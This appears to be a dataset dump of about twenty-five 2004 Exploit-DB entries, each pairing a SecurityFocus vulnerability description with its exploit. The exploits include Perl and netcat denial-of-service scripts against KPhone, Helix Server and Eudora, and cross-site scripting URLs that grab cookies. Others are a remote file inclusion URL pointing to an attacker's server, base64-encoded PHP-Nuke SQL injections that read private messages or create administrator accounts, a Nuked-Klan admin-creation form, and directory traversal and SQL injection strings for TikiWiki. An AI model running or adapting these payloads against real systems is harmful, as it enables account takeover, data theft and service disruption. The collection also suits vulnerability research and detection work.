QLWD/code_shield huggingface dataset:
标题: Softwin BitDefender - AvxScanOnlineCtrl COM Object Arbitrary File Upload / Execution EDB-ID: 24024 CVE: 2004-1947 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/10174/info

Reportedly the BitDefender AvxScanOnlineCtrl COM object is affected by a file upload and execution vulnerability. This issue is due to a design error that allows a remote user to specify a file to be uploaded and executed on a system running the affected software.

This issue may be leveraged by a remote attacker to upload and execute arbitrary files on an affected system; most likely resulting in unauthorized access. Other attackers are also possible.

<HTML>
<OBJECT id=seemycomputer codeBase=http://www.bitdefender.com/scan/Msie/bitdefender.cab#version=3,0,0,1 hspace=0 vspace=0 align="top" classid=CLSID:80DD2229-B8E4-4C77-B72F-F22972D723EA width=405 height=180>
<PARAM NAME="_ExtentX" VALUE="6614">
<PARAM NAME="_ExtentY" VALUE="4498">
<PARAM NAME="_StockProps" VALUE="9">
<PARAM NAME="ForeColor" VALUE="0">
<PARAM NAME="BackColor" VALUE="16777215"></OBJECT>
</HTML> URL: https://www.exploit-db.com/exploits/24024
标题: Macromedia ColdFusion MX 6.0 - Oversized Error Message Denial of Service EDB-ID: 24013 CVE: 2004-2505 类型: DOS 平台: MULTIPLE 发布日期: 2004-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/10163/info

A denial of service vulnerability has been reported in Macromedia ColdFusion MX that is reported to occur when the software attempts to write oversized error messages. These error messages will be logged by the server but may also be written into dynamically generated error pages.

It is possible to trigger this condition remotely since remote users may influence the contents of error messages.

<cfset
longstr = RepeatString("1234567890123456789012345678901234567890", 10000)
>
<cfset the_date = #DateFormat(longstr)#>
<cfoutput>#the_date#</cfoutput> URL: https://www.exploit-db.com/exploits/24013
标题: KPhone 2.x/3.x/4.0.1 - Malformed STUN Packet Denial of Service EDB-ID: 24011 CVE: 2004-1940 类型: DOS 平台: MULTIPLE 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10159/info

A denial of service vulnerability has been reported in KPhone. This issue may be triggered by a malformed SIP (Session Initiation Protocol) STUN message. This is due to insufficient validation of user-specified STUN packet attribute lengths, causing an out of bounds read and subsequent crash.

It is not known if this condition could be further exploited to execute arbitrary code, though it has been conjectured that it is not exploitable.

#!/usr/bin/perl
 

use IO::Socket::INET;

my $buf = join("", "\x01\x01", # BindingResponse
    "\x00\x01", # MsgLength
    "A"x16, # GUID
    "\x00\x00", # Attribute
    "\x08\x01", # AttrLength
    "A"x7975 # Value
   );

my $remote = IO::Socket::INET->new( Proto => 'udp',
         PeerAddr => '192.168.1.49',
         PeerPort => 5060);

print $remote $buf; URL: https://www.exploit-db.com/exploits/24011
标题: Rhino Software Zaep AntiSpam 2.0 - Cross-Site Scripting EDB-ID: 24001 CVE: 2004-1939 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10139/info

It has been reported that Zaep AntiSpam is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

ttp://example.zaep/?key=<script>alert(document.cookie)<%252Fscript> URL: https://www.exploit-db.com/exploits/24001
标题: Gemitel 3.50 - '/affich.php' Remote File Inclusion / Command Injection EDB-ID: 24009 CVE: 2004-1934 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10156/info

A vulnerability has been identified in the handling of input by Gemitel. Because of this, it may be possible for a remote user to gain unauthorized access to a system using the vulnerable software.

It is possible to influence the include path of certain files, which could lead to an attacker including arbitrary PHP files from an external system.

http://www.example.com/[Gemitel folder]/html/affich.php?base=http://[your server]/ URL: https://www.exploit-db.com/exploits/24009
标题: Real Networks Helix Universal Server 9.0.x - Denial of Service EDB-ID: 24010 CVE: 2004-0389 类型: DOS 平台: WINDOWS 发布日期: 2004-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10157/info

It has been reported that Real Networks Helix Universal Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to properly handle malformed RTSP (Real-Time Streaming Protocol) requests.

An attacker may leverage this issue to trigger a denial of service condition in the affected server.

$ echo -e "GET_PARAMETER / RTSP/1.0\n\n" | nc -v localhost 554
$ echo -e "DESCRIBE / RTSP/1.0\nSession:\n\n" | nc -v localhost 554 URL: https://www.exploit-db.com/exploits/24010
标题: SCT Campus Pipeline 1.0/2.x/3.x - Email Attachment Script Injection EDB-ID: 24008 CVE: 2004-1935 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10154/info

It has been reported that Campus Pipeline is prone to a remote email attachment script injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied HTML and script code contained in email documents.

This issue may allow a remote attacker to gain control of an unsuspecting user's email account; by executing specific script code an attacker can manipulate the victim's email account. It may be possible for an attacker to steal cookie based authentication credentials as well, and due to the integrated nature of this software this may potentially lead to further compromise of the victim's account. It should be noted that this has not been confirmed.

To delete the current email message:
<html><body onload=?deleteMessage()?></body><html>

This exploit will open a new email message with attacker-supplied text:
<html><body
onload="location.replace('http://www.example.com/cp/email/composeBody?function=new&to=attacker@example.com&subject=I
love you matt&body=I was owned by matt')"></body></html>

Site redirection:
<html><body onload="location.replace('http://www.example.com/attackerSpecified.html')">
</body></html> URL: https://www.exploit-db.com/exploits/24008
标题: PHP-Nuke 6.x/7.x - CookieDecode Cross-Site Scripting EDB-ID: 23990 CVE: 2004-1930 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/10128/info

Reportedly PHP-NuKe is prone to a remote cross-site scripting vulnerability. This issue is due to a failure of the 'cookiedecode()' function to properly sanitize user supplied cookie parameters.

These issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://localhost/nuke71/index.php?user=MTo8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ%2bZm9vYmFy URL: https://www.exploit-db.com/exploits/23990
标题: Neon WebDAV Client Library 0.2x - Format String EDB-ID: 23999 CVE: 2004-0179 类型: DOS 平台: LINUX 发布日期: 2004-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10136/info 

It has been reported that the Neon client library is prone to multiple remote format string vulnerabilities. This issue is due to a failure of the application to properly implement format string functions.

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected client software, which would occur in the security context of the server process.

Request
- -------

PROPFIND /example/resource/string/ HTTP/1.1
Pragma: no-cache
Cache-control: no-cache
Accept: text/*, image/jpeg, image/png, image/*, */*
Accept-Encoding: x-gzip, gzip, identity
Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5
Accept-Language: en
Host: www.example.com
Depth: 0

Response
- --------

HTTP/1.1 207 Multi-Status
X-Cocoon-Version: 2.1
Set-Cookie: JSESSIONID=cookie_data; Path=/example
Content-Type: text/xml
Transfer-Encoding: chunked


<?xml version="1.0" encoding="UTF-8"?>
<D:multistatus xmlns:D="DAV:">

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>/lenya/blog/authoring/entries/2003/08/24/peanuts/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>%08x%08x</D:status>
</D:propstat>
</D:response>

</D:multistatus> URL: https://www.exploit-db.com/exploits/23999
标题: Nuked-klaN 1.x - Multiple Vulnerabilities EDB-ID: 23988 CVE: 2004-1937 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10104/info

Nuked-Klan is prone to multiple vulnerabilities. These issues include information disclosure via inclusion of local files, an issue that may permit remote attackers to corrupt configuration files and an SQL injection vulnerability.

- To include a local file:

http://www.example.com/index.php?user_langue=../../../../../file/to/view

- Create admin (overwriting GLOBALS) :

-------------------------------------------------------

<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($_POST["submit"])){

echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";

}else{
?>

<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
------------------------------------------------------- URL: https://www.exploit-db.com/exploits/23988
标题: PHP-Nuke 6.x/7.x - Multiple SQL Injections EDB-ID: 23998 CVE: 2004-1929 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/10135/info 

Reportedly PHP-Nuke is prone to multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input.

As a result of these issues an attacker could modify the logic and structure of database queries. Other attacks may also be possible, such as gaining access to sensitive information.

To read arbitrary users private messages:
http://www.example.com/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

To create an arbitrary administrator account with username "waraxe2" and password "coolpass":
http://www.example.com/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&add_email=foo@bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox URL: https://www.exploit-db.com/exploits/23998
标题: Qualcomm Eudora 6.0.3 - MIME Message Nesting Denial of Service EDB-ID: 24000 CVE: 2004-1944 类型: DOS 平台: WINDOWS 发布日期: 2004-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/10137/info

It has been reported that Eudora is prone to a denial of service vulnerability when handling e-mail containing excessive MIME nesting. The problem is known to occur when the application attempts to decode the deeply nested message.

Successful exploitation of this issue may allow an attacker to cause the application to crash due to corruption of stack memory. It is not known if this issue is further exploitable to execute arbitrary code.

It should be noted that this condition may be persistent since the offending message may remain in the client's mail spool.

Eudora 6.0.3 is reported to be vulnerable to this issue, however, other versions may be affected as well.

#!/usr/bin/perl --

print "From: me\n";
print "To: you\n";
print "Subject: nested multipart test\n";
print "Mime-Version: 1.0\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n";

&nest(0);
print "\n";

sub nest {
  my ($x) = @_;
  my $b = sprintf("bndry%04d",$x);
  print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Level $x\n\n";

# No problem for 1995, but crash for 2005 deep nesting:
#
# (378.1c4): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=000338a8 edi=62000000
# eip=77f862ed esp=00032f10 ebp=000337b0 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202
# ntdll!LdrLoadAlternateResourceModule+9:
# 77f862ed 53               push    ebx

  if ($x < 2005) {
    print "--$b\n";
    &nest($x+1);
  }
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Final $x\n";
  print "--$b--\n\n";
} URL: https://www.exploit-db.com/exploits/24000
标题: TikiWiki Project 1.8 - 'tiki-list_blogs.php?offset' SQL Injection EDB-ID: 23984 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
                
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_blogs.php?find=&offset=[SQL] URL: https://www.exploit-db.com/exploits/23984
标题: SurgeLDAP 1.0 - 'User.cgi' Directory Traversal EDB-ID: 23987 CVE: 2004-2253 类型: REMOTE 平台: CGI 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10103/info

SurgeLDAP is prone to a directory traversal vulnerability in one of the scripts included with the built-in web administrative server, potentially resulting in disclosure of files. 

A remote attacker could exploit this issue to gain access to system files outside of the web root directory of the built-in web server. Files that are readable by the web server could be disclosed via this issue.

http://www.example.com:6680/user.cgi?cmd=show&page=/../../../boot.ini URL: https://www.exploit-db.com/exploits/23987
标题: TikiWiki Project 1.8 - 'tiki-directory_search.php?sort_mode' SQL Injection EDB-ID: 23973 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
               
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-directory_search.php?how=or&words=&where=all&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23973
标题: TikiWiki Project 1.8 - 'tiki-list_trackers.php?offset' SQL Injection EDB-ID: 23983 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
                
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_trackers.php?find=&offset=[SQL]
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23983
标题: TikiWiki Project 1.8 - 'tiki-list_trackers.php?sort_mode' SQL Injection EDB-ID: 23976 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23976
标题: TikiWiki Project 1.8 - 'tiki-list_blogs.php?sort_mode' SQL Injection EDB-ID: 23977 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_blogs.php?find=&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23977
标题: TikiWiki Project 1.8 - 'tiki-browse_categories.php?sort_mode' SQL Injection EDB-ID: 23966 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
             
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23966
标题: TikiWiki Project 1.8 - 'tiki-list_faqs.php?offset' SQL Injection EDB-ID: 23982 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
                
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_faqs.php?find=&offset=[SQL] URL: https://www.exploit-db.com/exploits/23982
标题: TikiWiki Project 1.8 - 'tiki-user_tasks.php?offset & sort_mode' SQL Injections EDB-ID: 23972 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
               
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[SQL] URL: https://www.exploit-db.com/exploits/23972
标题: TikiWiki Project 1.8 - 'tiki-usermenu.php?offset' SQL Injection EDB-ID: 23978 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-usermenu.php?find=&offset=[SQL] URL: https://www.exploit-db.com/exploits/23978
标题: TikiWiki Project 1.8 - 'tiki-file_galleries.php?sort_mode' SQL Injection EDB-ID: 23974 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
               
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-file_galleries.php?find=&search=find&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23974
标题: TikiWiki Project 1.8 - 'tiki-index.php?comments_offset & offset' SQL Injections EDB-ID: 23971 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[SQL] URL: https://www.exploit-db.com/exploits/23971
标题: TikiWiki Project 1.8 - 'tiki-list_faqs.php?sort_mode' SQL Injection EDB-ID: 23975 CVE: 2004-1925 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_faqs.php?find=&offset=[INT]&sort_mode=[SQL] URL: https://www.exploit-db.com/exploits/23975